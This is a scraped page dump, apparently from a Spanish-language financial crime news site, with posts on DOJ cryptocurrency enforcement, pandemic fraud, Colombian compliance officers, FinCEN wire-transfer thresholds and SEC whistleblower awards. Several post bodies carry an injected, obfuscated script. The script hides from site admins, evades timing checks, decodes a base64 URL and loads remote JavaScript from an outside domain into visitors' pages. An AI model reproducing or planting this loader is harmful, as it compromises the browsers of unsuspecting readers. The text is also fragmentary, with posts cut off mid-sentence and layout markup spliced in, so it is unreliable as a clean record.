il\u00edcitas, EE.UU. ha entablado acciones contra personas y empresas que no han cumplido con sus obligaciones legales para evitar actividades il\u00edcitas. En casos particulares, el Departamento de Justicia ha procedido contra la propia criptomoneda il\u00edcita, confiscando esos activos virtuales y elimin\u00e1ndolos del flujo del comercio internacional, independientemente de su capacidad para identificar o aprehender a los actores que los utilizaron.<\/p><p>El Departamento de Justicia se\u00f1al\u00f3 que est\u00e1 comprometido a fortalecer sus asociaciones clave con la promoci\u00f3n de experiencia y conocimiento en materia de aplicaci\u00f3n de la ley; fomentando la cooperaci\u00f3n con las autoridades estatales; mejorando la cooperaci\u00f3n internacional; promoviendo una regulaci\u00f3n internacional integral y coherente; y llevando a cabo actividades de educaci\u00f3n y divulgaci\u00f3n del sector privado.<\/p><p>Para promover la seguridad todas las partes interesadas, desde la industria privada hasta los reguladores, funcionarios y usuarios individuales de criptomonedas, deber\u00e1n tomar medidas para garantizar que la criptomoneda no se utilice como plataforma para la ilegalidad. Se\u00f1ala el Departamento de Justicia que para que la criptomoneda adquiera su verdadero potencial transformador, es imperativo que se aborden estos riesgos.<\/p>","post_title":"Informe del DOJ sobre Criptomonedas: un marco de aplicaci\u00f3n","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion","to_ping":"","pinged":"","post_modified":"2020-11-10 11:21:26","post_modified_gmt":"2020-11-10 15:21:26","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25320","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25317,"post_author":"16","post_date":"2020-11-10 09:49:27","post_date_gmt":"2020-11-10 13:49:27","post_content":"<p><b><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/5Steps-Small-10NOV2020.jpg\" alt=\"\" width=\"232\" height=\"300\" \/><\/b><\/p><p><b>Por Terry Luttrell, CAMS-Audit<\/b><\/p><p>A medida que 2020 llega a su fin, las empresas y\u00a0comunidades de todo el mundo no pueden negar los efectos de la pandemia de COVID-19. La devastaci\u00f3n financiera, as\u00ed como la p\u00e9rdida de vidas y el deterioro de la salud, han dejado su sello. Hist\u00f3ricamente, los desastres naturales de cualquier tipo han sacado a los estafadores a la luz para exponerlos ante lo que parece ser un grupo interminable de v\u00edctimas vulnerables.<\/p><p>La Oficina Federal de Investigaciones de EE.UU. (FBI) se\u00f1ala que cuanto m\u00e1s catastr\u00f3fico es el evento, m\u00e1s activos son los estafadores. COVID-19 es posiblemente el peor desastre mundial en d\u00e9cadas, y se ha detectado un aumento del fraude a gran escala. Si bien algunos de los esquemas de fraude no son nuevos, se han transformado para aprovecharse de comunidades que ya se enfrentan a una situaci\u00f3n sin precedentes. \u00bfC\u00f3mo se est\u00e1 moviendo su organizaci\u00f3n para fortalecer su programa antifraude para mitigar estos mayores riesgos?<\/p><p>Seg\u00fan las estad\u00edsticas hist\u00f3ricas de desastres, el Departamento de Justicia de EE.UU. espera que el fraude generalizado aumente entre un 10% y un 12% debido al COVID-19. En una encuesta reciente realizada por la Asociaci\u00f3n de Examinadores de Fraude Certificados, el 77% de los miembros encuestados dijo que ha observado un aumento en el nivel general de fraude, y un tercio se\u00f1al\u00f3 que este aumento ha sido significativo. Eso es notablemente m\u00e1s alto que en mayo de 2020, cuando el 68% de los encuestados hab\u00eda visto un aumento en el fraude, y una cuarta parte calific\u00f3 el aumento como significativo.<\/p><p>La pandemia ha creado la necesidad de que las organizaciones examinen sus programas antifraude para determinar si existe una mayor exposici\u00f3n al riesgo que se deba abordar. La ayuda financiera que generalmente sigue a los desastres conduce, lamentablemente, a un mayor riesgo de fraude. Cuantos m\u00e1s fondos para ingresan a la econom\u00eda, ya sea por huracanes, incendios forestales o una pandemia, mayor ser\u00e1 la presencia de delincuentes. Por lo tanto, si bien COVID-19 es el detonante actual de la tendencia al alza del fraude, las organizaciones deben posicionarse para evitar aumentos futuros. Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es dirigida al tema de lavado de activos y financiaci\u00f3n del terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. 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Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 19:19:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25304","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":true,"total_page":14},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_9"};</script> </div> </div> </div> </div> </div> </div> </section> <section class="has_eae_slider elementor-section elementor-top-section elementor-element elementor-element-a3c376b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a3c376b" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="has_eae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-775b7a7" data-id="775b7a7" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-89994b6 elementor-widget elementor-widget-epic_archive_pagination_elementor" data-id="89994b6" data-element_type="widget" data-widget_type="epic_archive_pagination_elementor.default"> <div class="elementor-widget-container"> <div class="jeg_navigation jeg_pagination jeg_pagenav_2 jeg_aligncenter no_navtext no_pageinfo"> <span class="page_info">Page 14 of 110</span> <a class="page_nav prev" data-id="13" href="https://www.delitosfinancieros.org/category/noticias/page/13/"><span class="navtext">Previous</span></a> <a class='page_number' data-id='1' href='https://www.delitosfinancieros.org/category/noticias/'>1</a> <span class="page_number dots">…</span> <a class='page_number' data-id='13' href='https://www.delitosfinancieros.org/category/noticias/page/13/'>13</a> <span class='page_number active'>14</span> <a class='page_number' data-id='15' href='https://www.delitosfinancieros.org/category/noticias/page/15/'>15</a> <span class="page_number dots">…</span> <a class='page_number' data-id='110' href='https://www.delitosfinancieros.org/category/noticias/page/110/'>110</a> <a class="page_nav next" data-id="15" href="https://www.delitosfinancieros.org/category/noticias/page/15/"><span class="navtext">Next</span></a> </div> </div> </div> </div> </div> </div> </section> \n<p>La OCDE tambi\u00e9n recomend\u00f3 que las agencias de ley de EE.UU. brinden m\u00e1s transparencia en las resoluciones de algunos casos de la FCPA, como facilitar al p\u00fablico la obtenci\u00f3n de informaci\u00f3n sobre la extensi\u00f3n o finalizaci\u00f3n de los acuerdos de no enjuiciamiento (<em>nonprosecution agreements<\/em>) y los acuerdos de enjuiciamiento diferido (<em>deferred prosecution agreements<\/em>) con empresas en los casos de la FCPA. Tambi\u00e9n recomend\u00f3 que EE.UU. contin\u00fae abordando la reincidencia mediante sanciones apropiadas.<\/p>\n\n\n\n<p>El informe que alaba los esfuerzos de Estados Unidos para hacer cumplir la ley no fue una sorpresa para la comunidad anticorrupci\u00f3n, dijeron los observadores. Pero el informe, de 180 p\u00e1ginas, describi\u00f3 varias de las mejores pr\u00e1cticas del gobierno de EE.UU. que podr\u00edan ser \u00fatiles para otros pa\u00edses o regiones que buscan ser m\u00e1s efectivos en su lucha contra el soborno extranjero.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Un grupo de trabajo de la OCDE elogia los esfuerzos de EE.UU. contra el soborno en el extranjero","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"un-grupo-de-trabajo-de-la-ocde-elogia-los-esfuerzos-de-ee-uu-contra-el-soborno-en-el-extranjero","to_ping":"","pinged":"","post_modified":"2025-10-24 17:04:10","post_modified_gmt":"2025-10-24 21:04:10","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25409","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25406,"post_author":"16","post_date":"2020-11-23 11:32:00","post_date_gmt":"2020-11-23 15:32:00","post_content":"\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/wgbCobolWgA\n<\/div><\/figure>\n\n\n\n<p>El programa de denunciantes de la Comisi\u00f3n de Bolsa y Valores de EE. UU. (SEC por sus siglas en ingl\u00e9s) estableci\u00f3 un nuevo r\u00e9cord anual otorgando m\u00e1s dinero a m\u00e1s informantes en el a\u00f1o fiscal 2020 que en cualquier otro a\u00f1o de la historia del programa. La oficina pag\u00f3 alrededor de US$ 175 millones en recompensas a 39 informantes en el a\u00f1o fiscal que finaliz\u00f3 en septiembre y recibi\u00f3 una cantidad r\u00e9cord, alrededor de 6.900 de denuncias.<\/p>\n\n\n\n<p>El volumen sigue a los esfuerzos del regulador para acelerar los pagos a los denunciantes despu\u00e9s de a\u00f1os de quejas de que el programa es lento para repartir las recompensas.<\/p>\n\n\n\n<p>\"Estamos enviando el mensaje a la gente que, si nos brinda informaci\u00f3n de alta calidad, investigaremos y emprenderemos acciones con vigor, y luego le daremos una recompensa al denunciante de inmediato\", se\u00f1al\u00f3 el presidente de la SEC Jay Clayton en una reciente entrevista, la semana pasada anunci\u00f3 que planea dimitir a finales de este a\u00f1o.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image.png\" alt=\"\" class=\"wp-image-25407\"\/><\/figure>\n\n\n\n<p>La Oficina del Denunciante de la SEC emiti\u00f3 alrededor de US$ 175 millones en recompensa a 39 personas en el a\u00f1o fiscal que finaliz\u00f3 el 30 de septiembre, seg\u00fan el informe anual de la oficina al Congreso. El monto total en d\u00f3lares fue 4% m\u00e1s alto que el r\u00e9cord anterior, alrededor de US$ 168 millones en el a\u00f1o fiscal 2018, y casi tres veces el total emitido en el a\u00f1o fiscal 2019, cuando se distribuyeron US$ 60 millones entre ocho personas.<\/p>\n\n\n\n<p>En este \u00faltimo a\u00f1o fiscal, la oficina del denunciante tambi\u00e9n emiti\u00f3 un r\u00e9cord de 315 determinaciones preliminares de reclamos de adjudicaci\u00f3n que detallan si el reclamo de un informante debe aprobarse o denegarse, que es un 96% m\u00e1s que el r\u00e9cord anterior, establecido en 2014, cuando la mayor\u00eda de las \u00f3rdenes preliminares fueron denegaciones emitidas a un reclamante, seg\u00fan el informe.<\/p>\n\n\n\n<p>La SEC comenz\u00f3 a revisar su proceso de evaluaci\u00f3n de reclamos con el objetivo de hacerlo m\u00e1s eficiente hace aproximadamente un a\u00f1o y medio cuando la agencia reguladora propuso cambios a las reglas del programa de denuncia de irregularidades, seg\u00fan Clayton.<\/p>\n\n\n\n<p>Las enmiendas a las reglas del programa de denunciantes, aprobadas en septiembre y dise\u00f1adas para hacer que el proceso de adjudicaci\u00f3n sea 